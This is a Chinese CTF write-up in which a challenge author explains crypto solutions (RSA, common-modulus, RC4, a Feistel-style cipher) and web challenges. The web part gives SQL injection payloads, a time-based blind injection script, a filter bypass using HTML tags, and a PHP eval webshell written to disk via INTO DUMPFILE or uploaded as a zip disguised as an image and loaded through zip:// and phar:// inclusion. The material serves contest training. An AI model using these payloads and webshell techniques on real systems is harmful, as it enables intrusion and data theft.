周末出题老表伤透了心,原本高高兴兴的打算直接用做出来的童鞋的wp,结果发现没人做,还是得自己写…
Crypto 这次的密码题都是偏向简单的题目
女神的短信 提示短信,手机键盘九宫格加密,前面那个数字表示第几个按钮,后面那个数字表示那个按钮第几个(没想到最后变成了真正的签到题,看着动态积分从1000变到20,emmmmm所有队伍都做出来了)。
签到题–RSA 最基本的rsa解密,直接贴py代码1
2
3
4
5
6
7
8
9
import gmpy2
p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
c = 4058547387436141457047422472489672162421145320474233882240312859636305303864
e = 65537
inv_n = (p-1)*(q-1)
d = gmpy2.invert(e,inv_n)
m = pow(c,d,p*q)
print '{:x}'.format(m).decode('hex')
RSA2 上课也讲过的共模攻击,最让老表伤心的是没有一个人去看老表的上课用的课件https://err0rzz.github.io/2017/11/14/CTF%E4%B8%ADRSA%E5%A5%97%E8%B7%AF/ 还是直接贴代码吧1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
c1=0x1cbd53af140710b23864f60e8d0741951b89bd03ce4d73573b0e8bb4d33b36a624e645312613b06759cfa9c4fa00bf8d4781a8e89aL
c2=0x5a87c76d2d79694e75ad2911c44d8208a7447852f26b37480dbc9d376579add2bed957db9b76fd16c60cccbbc9e901dddfe9a1eb3L
n=6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249
e1=839
e2=773
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print '{:x}'.format(m).decode('hex')
有意思的解密 下载zip里面有两个文件,key.txt是一串十六进制,转化一下得到key='i_think_zz_is_ok'
,然后flag.py文件是rc4的加密函数,对着加密函数逆推一个解密函数即可(有童鞋百度出解密函数也算是不预期解吧,其实耐心推一下也很快的)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import random
import base64
from hashlib import sha1
strCipher = 'dOo0foiNBuQvKQ1oEdPiLawHQHtwYoGZu6CsmQwM4MD9Rkz0VVMzJTcz0/EDmHAwhgg16VA0MulkmKYnzNnFk9cwJAG6FQ=='
key = 'i_think_zz_is_ok'
def crypt(data, key):
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def decrypt(data, key):
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
data1=[]
for char in data:
x=(x+1)%256
y=(y+box[x])%256
box[x],box[y] = box[y], box[x]
data1.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(data1)
def encode(data, key, encode=base64.b64encode, salt_length=16):
salt = ''
for n in range(salt_length):
salt += chr(random.randrange(256))
#salt='11'
data = salt + crypt(data, sha1(key + salt).digest())
if encode:
data = encode(data)
return data
def decode(data, key, decode=base64.b64decode, salt_length=16):
salt = ''
if decode:
data=decode(data)
for n in range(salt_length):
salt += chr(random.randrange(256))
#salt='11'
salt=data[:16]
out=data[16:]
return decrypt(out,sha1(key + salt).digest())
print decode(strCipher,key)
简单加密 这题讲道理比上一题要简单,但是因为上一题网上有rc4的解密代码,所以做出来的人比这题多… 原题目,flag.py:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from hashlib import sha256
key = 'zjgsctf'
cipher = '112a9166aebc5e677573f365d8b38c72'
def xor(a,b):
return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])
def HASH(data):
return sha256(data).digest()[:8]
def bes_encrypt(subkeys, data):
i = 0
d1 = data[:8]
d2 = data[8:]
for i in subkeys:
d1 = xor(xor(HASH(d2),i),d1)
d1,d2 = d2,d1
return d2 + d1
def key_schedule(key):
subKeys = []
subKey = key
for i in xrange(16):
subKey = HASH(subKey)
subKeys.append(subKey)
return subKeys
def bes(key,data):
subKeys = key_schedule(key)
return bes_encrypt(subKeys, data).encode('hex')
观察代码可以发现,对key的操作变换并没有涉及随机数,所以加密用的subkeys和解密用的subkeys是一样的。然后就可以对着bes_encrypt的代码逆着写一份bes_decrypt出来,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from hashlib import sha256
def xor(a,b):
return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])
def HASH(data):
return sha256(data).digest()[:8]
def bes_encrypt(subkeys, data):
i = 0
d1 = data[:8]
d2 = data[8:]
print d2.encode('hex')
for i in subkeys:
d1 = xor(xor(HASH(d2),i),d1)
d1,d2 = d2,d1
return d2 + d1
def bes_decrypt(subkeys,data):
data = data.decode('hex')
d2 = data[:8]
d1 = data[8:]
subkeys=subkeys[::-1]
for i in subkeys:
d1,d2=d2,d1
d1 = xor(xor(HASH(d2),i),d1)
return d1+d2
def key_schedule(key):
subKeys = []
subKey = key
for i in xrange(16):
subKey = HASH(subKey)
subKeys.append(subKey)
return subKeys
def bes(key,data):
subKeys = key_schedule(key)
return bes_encrypt(subKeys, data).encode('hex')
def besdd(key,data):
subKeys = key_schedule(key)
return bes_decrypt(subKeys, data)
if __name__ == "__main__":
key = 'zjgsctf'
cipher = '112a9166aebc5e677573f365d8b38c72'
print besdd(key,cipher)
web 我原以为…算了,想想某涛的pwn一题都没被做出来,我心里还是有点安慰的。
签到题–sql1 右键源码可以看到php源码 对输入的两个参数都没加任何过滤,而且只需要sql查询有结果即可返回flag,最简单的payload就是username=’ or 1=1#&password=
又一个签到题 我一开始以为这种题目大家应该都做吐了的,所以又是送分题…后来发现并不是这样… 一开始说Only localhost can get flag! ,那修改一下http请求头里的x-forwarded-for
为127.0.0.1
,然后发现变成了Only Chinese can get flag! ,那修改一下语言,将Accept-Language
中的en-US
去掉,得到flag
Lazy壮壮–sql2 测试一下会发现没有回显,猜测是时间盲注。然后试了试sleep
方法,会发现被过滤了,而且这个题目只过滤了sleep
。那么咋们就换一个函数好了,换成benchmark
,其他的还是原来的配方,写个盲注脚本就好了(这里我先在本地试了下benchmark(20000000,md5('test'))
大概需要7秒多,你们也可以自行更改参数来调整)。这里友情提示一下,你们可以把这些脚本收集一下,以后可以直接修改脚本,做题效率会高很多1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url = 'http://10.21.13.152:20001/check.php'
payloads='1234567890qwertyuiopasdfghjklzxcvbnm_@QWERTYUIOPASDFGHJKLZXCVBNM,*'
def exp(i,x):
#sql2.users233.p4sswo3d
#xx = "' or if(substring((select database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users233') from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
xx = "' or if(substring((select group_concat(p4sswo3d) from users233) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
data={'id':xx %(i,x)}
first_time=time.time()
response = requests.post(url,data = data)
next_time=time.time()
if (next_time-first_time) > 2:
return 1
else :
return 0
ans=''
print 'star'
for i in range(1,100):
for x in payloads:
if exp(i,x)==1:
ans+=x
print ans
break
if x=='*':
print "over"
break
解出来两个md5值,去cmd5解一下,一个是’no’,另一个是’hacker’。提交hacker即可。
其实很简单–sql3 右键源码可以看到提示说需要?id
,或者遇到这种什么都没有的题目的思路一般都是源码泄露(我题目也说了’壮壮好像泄露了什么…’),这里是.index.php.swp
文件泄露,下载下来之后用vim -r
打开即可恢复源码。 观察源码,会发现是数字型注入,而且过滤了很多函数。但是同时也发现有个不起眼但是很“多余”的函数strip_tags
,这个函数拿去百度一下:1
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
这样一切的过滤都可以轻松绕过了,只需要将select
改成sele<br>ct
这样,即在中间加上html标签即可,如下测试:
接下来就是最基本的sql注入了,就不多啰嗦了,直接贴payload:1
2
3
4
5
列数:http://10.21.13.152:20002/?id=1 o<br>rder b<br>y 3
库名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,database(),3
表名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(distinct ta<br>ble_name),3 fr<br>om info<br>rmation_schema.columns where ta<br>ble_schema=database()
列名:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(distinct column_name),3 fr<br>om info<br>rmation_schema.columns where ta<br>ble_schema=database()and ta<br>ble_name='flag_here'
数据:http://10.21.13.152:20002/?id=-1 uni<br>on se<br>lect 1,group_concat(passwdzz),3 fr<br>om flag_here
因为我题目里用了limit
,所以这里最好用group_concat
来获得所有数据,然后用distinct
来去掉重复的。
好心的壮壮–sql4 这个题目我把源码贴了上去,观察源码可以发现有两个文件,一个是index.php
,另一个是include.php
。一个注入题为什么要给文件包含的函数呢,这不是明摆着让你们用sql写木马,然后去包含嘛,心塞塞…
再看index.php
,我用每个人的ip来作为目录名创建了一个权限777 的目录,然后再去进行正常的sql代码(这么明显的提示…)。然后我们还会发现,并没有过滤掉dumpfile 以及outfile 以及into 。现在目标明确,一切就绪,准备用sql语句写个木马吧。1
post:id=-1 union select 0x3c3f706870206576616c28245f504f53545b22616161225d293b203f3e into dumpfile '/tmp/10.21.107.235/aaa.php'
这里有个全场唯一的一个小坑,就是如果你是正常的写’<?php eval($_POST[“aaa”]); ?>’这个一句话木马的话,中间php部分会消失掉,like this:1
post:id=-1 union select "<?php eval($_POST['aaa']); ?>" into dumpfile '/tmp/10.21.107.235/aaa.php'
所以,好心的壮壮又给你们个送分,把你们发送过去的东西打印出来。所以我们选择用十六进制来绕过这个坑点。 然后用include.php
去包含就好了
然后连菜刀去吧。
随便翻翻目录就可以找到目录
babyweb 这个题目算是基本套路吧…我提示也是反复强调伪协议,可是最后还是只有master一个队做出来,心塞塞…
看到url
里有个?page
,先想到filter
伪协议去读源码,然后把所有源码都爬下来之后,主要的几个文件如下: upload.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
header("content-type:text/html;charset=utf-8");
include 'config.php';
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
if (isset($_POST['Upload'])) {
$target_path ="./Err0r/";
$target_name=get_random_token();
$target_path = $target_path . $target_name;
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "png" || $uploaded_ext == "PNG"|| $uploaded_ext == "gif" || $uploaded_ext == "GIF"|| $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path.".".$uploaded_ext)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path .".".$uploaded_ext .' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
include.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
header("content-type:text/html;charset=utf-8");
include 'config.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = $page . ".php";
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "submit") { ?>class="active"<?php } ?>><a href="?page=submit">Submit</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
include($file);
echo $page;
echo "||";
echo $file;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>
可以发现index.php
中会将?page
参数加上’.php’,然后去包含。然后upload.php
,会判断上传的文件的后缀是否为’.jpg’或者’.gif’或者’.png’,如果后缀不对,则会显示上传失败;如果后缀正确,则会在./Err0r 目录下生成一个文件,文件名为随机生成的十六字节的字符串+’.jpg’,更何况提示也说了有个a.php
,我们可以看到phpinfo
信息,这个版本的php已经修复了%00 漏洞,所以在文件名上动手脚什么的已经不太行了。
这里就需要另外的伪协议了,如zip
和phar
。 我们可以利用这两个伪协议来读取压缩包中的文件,具体说明如下:1
2
[http://php.net/manual/zh/book.phar.php](http://php.net/manual/zh/book.phar.php)
[http://php.net/manual/zh/book.zip.php](http://php.net/manual/zh/book.zip.php)
具体解题如下:
先写一个php一句话木马,文件名为a.php
,内容为'<?php eval($_POST["aaa"]); ?>'
压缩一下变成a.zip
,再更改文件名,将原来的a.zip
改为a.jpg
上传a.jpg
,通过upload.php
的上传验证。
页面返回文件变换之后保存的路径以及文件名,用以下两个方法去包含1
2
http://10.21.13.152:20050/?page=zip://./Err0r/RiiwLkgTlLxPRPsE.jpg%23a
post:aaa=phpinfo();
1
2
http://10.21.13.152:20050/?page=phar://./Err0r/RiiwLkgTlLxPRPsE.jpg/a
post:aaa=phpinfo();
然后菜刀连一下。
然后随便翻翻目录就能找到flag